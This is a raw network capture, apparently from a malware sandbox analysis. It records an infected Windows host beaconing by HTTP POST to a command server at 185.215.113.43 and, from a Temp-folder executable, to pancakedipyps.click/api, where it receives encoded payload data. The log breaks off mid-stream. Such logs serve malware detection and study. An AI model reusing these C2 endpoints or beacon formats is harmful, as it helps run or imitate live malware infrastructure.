Dec 17, 2024 22:13:12.480525017 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:13:13.857955933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	50196	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:15.612935066 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:13:16.978921890 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	50197	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:18.620644093 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:13:19.978547096 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	50198	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:21.728758097 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:13:23.093318939 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	50199	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:24.728137016 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:13:26.082433939 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	50200	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:27.838484049 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:13:29.194542885 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	50201	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:30.823671103 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:13:32.178483009 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50202	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:33.982007027 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:13:35.416558981 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50203	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:37.040594101 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:13:38.424756050 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50204	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:40.182549953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:13:41.524854898 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50205	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:43.166287899 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 44 37 38 42 34 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42D78B45E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 17, 2024 22:13:44.597986937 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50206	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:13:46.356981039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 17, 2024 22:13:47.704627037 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:13:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49794	172.67.209.202	443	7968	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:22 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: pancakedipyps.click
2024-12-17 21:06:22 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-17 21:06:23 UTC	1036	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k1frt4bel2s5g4j71vk30bus4q; expires=Sat, 12-Apr-2025 14:53:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nckc8jYaK3Vp0LucXGBVqLkicPRxaywc0atlenrmHZlsVxxDoxFs5bLerlbJQQH%2FtclRXEA8PK96vUoMtfuJ6LOTQ4goEbPntn6yUQbWpfqjEykasxLQz4sgb8XJ7D%2BqZiULwIk4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e06b8a308c5d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13745&min_rtt=1992&rtt_var=7891&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=910&delivery_rate=1465863&cwnd=211&unsent_bytes=0&cid=bcdd53b606b0c7b0&ts=896&x=0"
2024-12-17 21:06:23 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-17 21:06:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49800	172.67.209.202	443	7968	C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 21:06:24 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: pancakedipyps.click
2024-12-17 21:06:24 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-12-17 21:06:26 UTC	1047	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 21:06:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rs1fqvuu89c3i30rj2tmiq5p5t; expires=Sat, 12-Apr-2025 14:53:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=m7f6tSJgFs4P%2FTW%2FzCNFTCrGZcrq51n1ElAFVOJHzLgxkrgEMNbkDjG9%2B%2BNR33FEaeXBThmw9b39nZ5%2F2H3MfuOFnv11phJfd4L4KlZMmcrpQuJD0cgCWtVCBE%2F6od1vvi%2BoC%2Bmx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f39e078ccad43b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2112&min_rtt=2067&rtt_var=865&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=949&delivery_rate=1203131&cwnd=195&unsent_bytes=0&cid=6ca09e4b11530e45&ts=2305&x=0"
2024-12-17 21:06:26 UTC	322	IN	Data Raw: 34 64 62 0d 0a 32 4b 44 42 2f 6a 4f 46 73 2f 63 6e 31 4c 79 33 58 59 4d 6c 47 4b 30 39 72 48 30 68 56 39 44 55 71 52 2b 47 54 66 66 46 78 34 79 6a 67 72 66 63 43 62 47 66 31 56 53 78 6e 6f 30 70 38 56 42 39 67 52 2f 4e 47 51 4e 74 74 72 58 46 62 4f 4e 68 31 62 4f 71 72 75 4c 47 6f 4a 4a 41 34 4a 2f 56 51 71 79 65 6a 51 62 34 42 33 33 44 48 35 5a 66 52 44 32 79 74 63 56 39 35 79 61 59 74 61 76 76 73 4d 79 6d 6c 6c 62 6d 31 35 5a 4c 75 64 6e 53 4f 4f 4a 50 64 73 52 51 78 42 41 44 65 2f 4b 78 30 7a 32 38 62 37 71 67 73 2b 32 56 77 62 4b 56 45 66 69 66 6a 41 57 78 30 70 56 6e 6f 55 52 39 7a 31 48 4b 47 55 6f 2f 75 4c 7a 4e 66 4f 49 6e 68 36 79 68 35 4c 44 43 70 5a 64 63 37 38 4f 62 51 62 37 53 31 44 4c 69 42 7a 53 50 57 4e 5a 66 47 33 58 68 68 4d 68 73 39 54 Data Ascii: 4db2KDB/jOFs/cn1Ly3XYMlGK09rH0hV9DUqR+GTffFx4yjgrfcCbGf1VSxno0p8VB9gR/NGQNttrXFbONh1bOqruLGoJJA4J/VQqyejQb4B33DH5ZfRD2ytcV95yaYtavvsMymllbm15ZLudnSOOJPdsRQxBADe/Kx0z28b7qgs+2VwbKVEfifjAWx0pVnoUR9z1HKGUo/uLzNfOInh6yh5LDCpZdc78ObQb7S1DLiBzSPWNZfG3XhhMhs9T
2024-12-17 21:06:26 UTC	928	IN	Data Raw: 51 63 69 6a 33 2f 65 48 45 41 68 76 36 65 4c 59 71 6f 32 31 61 43 70 72 75 4b 43 70 5a 4a 51 36 74 47 48 54 62 33 56 30 43 33 71 54 6e 66 43 58 38 4d 56 54 44 61 79 73 63 46 33 36 79 57 52 71 71 6a 6f 75 73 4c 6a 30 68 48 67 79 64 55 64 39 76 33 51 4c 2b 5a 4c 62 49 31 6c 6a 67 41 4e 4c 50 4b 78 78 7a 32 38 62 35 32 69 70 75 32 78 7a 61 43 55 57 76 58 52 68 30 4f 37 32 38 63 35 35 45 6c 77 7a 45 33 45 45 55 55 32 75 37 33 43 65 4f 4d 72 31 65 6e 6c 36 61 4b 43 2b 39 78 77 36 74 71 5a 54 36 48 65 6c 53 43 76 58 6a 72 49 55 34 35 48 41 7a 47 7a 73 73 70 35 36 69 47 52 71 36 50 67 74 38 32 6c 6c 6c 48 67 32 35 31 4e 74 39 50 65 4d 4f 46 43 64 38 74 5a 77 68 35 47 64 66 7a 32 7a 47 57 6b 64 39 57 4a 6f 75 32 6f 67 4a 61 66 58 2b 6e 57 67 77 57 70 6b 4d 78 2f Data Ascii: Qcij3/eHEAhv6eLYqo21aCpruKCpZJQ6tGHTb3V0C3qTnfCX8MVTDayscF36yWRqqjousLj0hHgydUd9v3QL+ZLbI1ljgANLPKxxz28b52ipu2xzaCUWvXRh0O728c55ElwzE3EEUU2u73CeOMr1enl6aKC+9xw6tqZT6HelSCvXjrIU45HAzGzssp56iGRq6Pgt82lllHg251Nt9PeMOFCd8tZwh5Gdfz2zGWkd9WJou2ogJafX+nWgwWpkMx/
2024-12-17 21:06:26 UTC	1369	IN	Data Raw: 34 34 34 31 0d 0a 52 37 64 2b 61 54 37 37 57 31 54 4c 67 54 48 4c 4a 55 73 55 51 54 44 4b 36 74 63 64 34 36 53 7a 56 36 65 58 70 6f 6f 4c 37 33 48 54 70 30 6f 52 55 39 4f 76 57 4d 65 39 41 62 49 39 41 67 41 59 44 4d 72 37 32 6b 7a 33 75 4b 4a 4b 6a 71 4f 53 35 78 71 65 52 58 75 37 59 6e 46 65 38 30 74 73 74 37 45 31 2f 77 56 50 4c 45 45 4d 30 73 37 6a 42 64 71 52 68 31 61 43 39 72 75 4b 43 6a 4a 46 42 39 64 75 65 56 50 54 72 31 6a 48 76 51 47 79 50 51 49 41 47 41 7a 4b 2b 39 70 4d 39 37 79 6d 5a 71 36 58 6f 71 4d 79 73 6a 6c 76 31 31 5a 74 42 75 74 44 63 4d 75 35 43 61 4d 74 66 33 42 35 47 4d 72 79 37 32 58 69 6b 59 64 57 67 76 61 37 69 67 70 6d 6f 56 76 66 41 6b 67 65 44 33 64 73 78 35 6c 45 36 30 42 48 58 58 30 51 35 38 75 36 4c 66 75 67 69 6e 4b 4b 71 Data Ascii: 4441R7d+aT77W1TLgTHLJUsUQTDK6tcd46SzV6eXpooL73HTp0oRU9OvWMe9AbI9AgAYDMr72kz3uKJKjqOS5xqeRXu7YnFe80tst7E1/wVPLEEM0s7jBdqRh1aC9ruKCjJFB9dueVPTr1jHvQGyPQIAGAzK+9pM97ymZq6XoqMysjlv11ZtButDcMu5CaMtf3B5GMry72XikYdWgva7igpmoVvfAkgeD3dsx5lE60BHXX0Q58u6LfuginKKq
2024-12-17 21:06:26 UTC	1369	IN	Data Raw: 76 63 57 2f 58 55 6d 30 47 38 32 39 45 7a 36 30 64 2f 33 56 66 49 47 45 38 39 74 37 6e 4e 65 4f 6b 6f 6e 71 53 33 2f 4c 6e 47 72 5a 41 52 71 5a 47 53 58 66 61 47 6c 52 72 32 52 47 72 4a 58 49 34 41 44 53 7a 79 73 63 63 39 76 47 2b 56 71 61 6e 6c 76 63 6d 6f 6d 46 58 6e 33 4a 35 4c 75 4e 66 5a 4e 2b 31 41 61 4d 4a 61 78 68 56 4b 4d 4c 36 37 79 47 2f 6e 4c 74 58 70 35 65 6d 69 67 76 76 63 64 74 54 6d 74 67 57 70 6b 4d 78 2f 35 6b 73 36 6c 78 2f 50 46 30 51 37 74 71 54 46 62 2b 6f 6f 6c 61 47 74 35 72 33 4f 72 5a 4a 44 37 39 43 56 53 37 6e 57 33 44 76 67 51 33 37 44 57 49 35 52 41 7a 4b 71 39 70 4d 39 7a 43 79 50 76 65 66 41 73 63 4b 6b 6a 45 66 38 6b 59 6f 4c 72 35 37 53 4d 36 45 66 4f 73 74 55 78 42 5a 41 50 4c 61 37 79 33 54 72 4a 70 32 71 72 66 79 37 79 Data Ascii: vcW/XUm0G829Ez60d/3VfIGE89t7nNeOkonqS3/LnGrZARqZGSXfaGlRr2RGrJXI4ADSzyscc9vG+VqanlvcmomFXn3J5LuNfZN+1AaMJaxhVKML67yG/nLtXp5emigvvcdtTmtgWpkMx/5ks6lx/PF0Q7tqTFb+oolaGt5r3OrZJD79CVS7nW3DvgQ37DWI5RAzKq9pM9zCyPvefAscKkjEf8kYoLr57SM6EfOstUxBZAPLa7y3TrJp2qrfy7y
2024-12-17 21:06:26 UTC	1369	IN	Data Raw: 67 33 5a 39 4b 74 64 62 59 50 4f 6c 56 65 73 4a 66 33 41 31 46 50 72 7a 32 68 54 33 6a 4e 39 58 2f 35 64 2b 74 79 65 4f 44 48 2f 36 52 6b 6b 6e 32 68 70 55 38 36 30 70 30 33 56 76 49 46 45 41 37 75 72 50 44 65 65 34 69 6d 71 79 76 35 37 4c 43 72 4a 6c 5a 37 4e 65 62 52 4c 44 53 32 48 2b 76 42 33 33 58 48 35 5a 66 5a 43 2b 2f 73 4e 78 73 30 53 69 56 39 75 58 78 39 4e 76 6a 6d 31 32 6e 69 64 56 49 75 74 54 59 4f 75 56 50 66 63 78 65 77 68 74 4f 4f 4c 61 2f 7a 33 6a 32 50 5a 4f 70 70 65 47 30 7a 61 2b 4f 58 2b 4c 52 6d 51 58 34 6e 74 49 6e 6f 52 38 36 2f 6b 6a 4f 58 31 78 37 71 2f 62 4d 63 61 52 33 31 61 69 6f 2f 4c 62 4e 6f 35 31 53 34 39 71 53 51 37 44 66 31 6a 72 69 51 6e 7a 4f 58 38 49 56 52 44 32 34 75 4d 5a 37 34 43 6d 54 35 2b 75 75 76 64 72 6a 78 42 Data Ascii: g3Z9KtdbYPOlVesJf3A1FPrz2hT3jN9X/5d+tyeODH/6Rkkn2hpU860p03VvIFEA7urPDee4imqyv57LCrJlZ7NebRLDS2H+vB33XH5ZfZC+/sNxs0SiV9uXx9Nvjm12nidVIutTYOuVPfcxewhtOOLa/z3j2PZOppeG0za+OX+LRmQX4ntInoR86/kjOX1x7q/bMcaR31aio/LbNo51S49qSQ7Df1jriQnzOX8IVRD24uMZ74CmT5+uuvdrjxB
2024-12-17 21:06:26 UTC	1369	IN	Data Raw: 51 62 48 65 32 54 44 6d 54 33 58 4c 58 38 46 66 44 58 57 31 72 6f 73 6c 70 41 2b 65 73 59 54 67 73 64 44 6a 67 78 2f 2b 6b 5a 4a 4a 39 6f 61 56 4d 65 68 47 63 73 46 54 78 68 74 52 4e 62 6d 2f 78 48 7a 72 4c 35 61 6d 72 2b 61 6f 78 4b 4f 58 57 65 44 5a 6b 55 75 6b 33 39 70 2f 72 77 64 39 31 78 2b 57 58 33 49 6a 74 62 48 45 50 38 30 6f 6a 71 61 76 37 62 48 4f 34 34 4d 66 2f 70 47 53 53 66 61 47 6c 54 4c 74 53 6e 37 64 55 38 34 66 53 6a 4b 34 70 4d 52 79 36 53 79 56 6f 72 66 76 71 4d 32 6f 6d 56 4c 6a 33 70 70 4a 76 74 53 56 63 61 46 41 59 6f 38 48 6a 6a 4e 41 4a 4c 6a 30 37 47 66 79 4b 4a 6d 32 72 75 4f 32 67 72 7a 53 53 4b 66 57 6d 51 58 75 6e 74 55 2b 37 46 56 2f 7a 6c 58 45 45 6b 73 36 74 37 50 45 65 65 41 6b 6d 37 57 72 34 62 72 45 71 4a 31 55 35 4e 71 Data Ascii: QbHe2TDmT3XLX8FfDXW1roslpA+esYTgsdDjgx/+kZJJ9oaVMehGcsFTxhtRNbm/xHzrL5amr+aoxKOXWeDZkUuk39p/rwd91x+WX3IjtbHEP80ojqav7bHO44Mf/pGSSfaGlTLtSn7dU84fSjK4pMRy6SyVorfvqM2omVLj3ppJvtSVcaFAYo8HjjNAJLj07GfyKJm2ruO2grzSSKfWmQXuntU+7FV/zlXEEks6t7PEeeAkm7Wr4brEqJ1U5Nq
2024-12-17 21:06:26 UTC	1369	IN	Data Raw: 39 34 37 36 45 4a 79 7a 46 72 4c 46 55 38 35 73 37 37 43 64 2b 45 71 6b 36 32 6d 34 4c 58 44 72 35 68 59 36 64 6a 56 43 2f 62 5a 7a 58 2b 35 42 30 7a 66 57 4e 59 53 55 33 65 41 74 64 70 73 38 53 4b 46 6f 65 66 42 75 63 36 67 6d 56 62 33 6b 59 6f 4c 72 35 37 53 4d 36 45 66 4f 73 39 62 77 68 78 45 4f 37 32 37 78 48 72 76 49 4a 2b 70 74 2b 47 2f 79 71 2b 55 58 50 58 62 6e 31 65 2f 31 39 67 78 36 56 56 35 6a 78 47 4f 47 46 74 31 36 76 62 35 64 2b 63 6a 67 36 71 71 72 71 57 4d 75 74 78 57 36 35 48 4e 42 61 54 4d 31 54 54 68 51 48 54 64 58 73 59 51 53 54 57 30 76 63 46 2b 37 53 75 62 72 71 50 76 74 38 4f 69 6e 46 54 6e 32 49 64 49 39 70 43 56 4f 50 6b 48 49 6f 39 6f 77 68 52 79 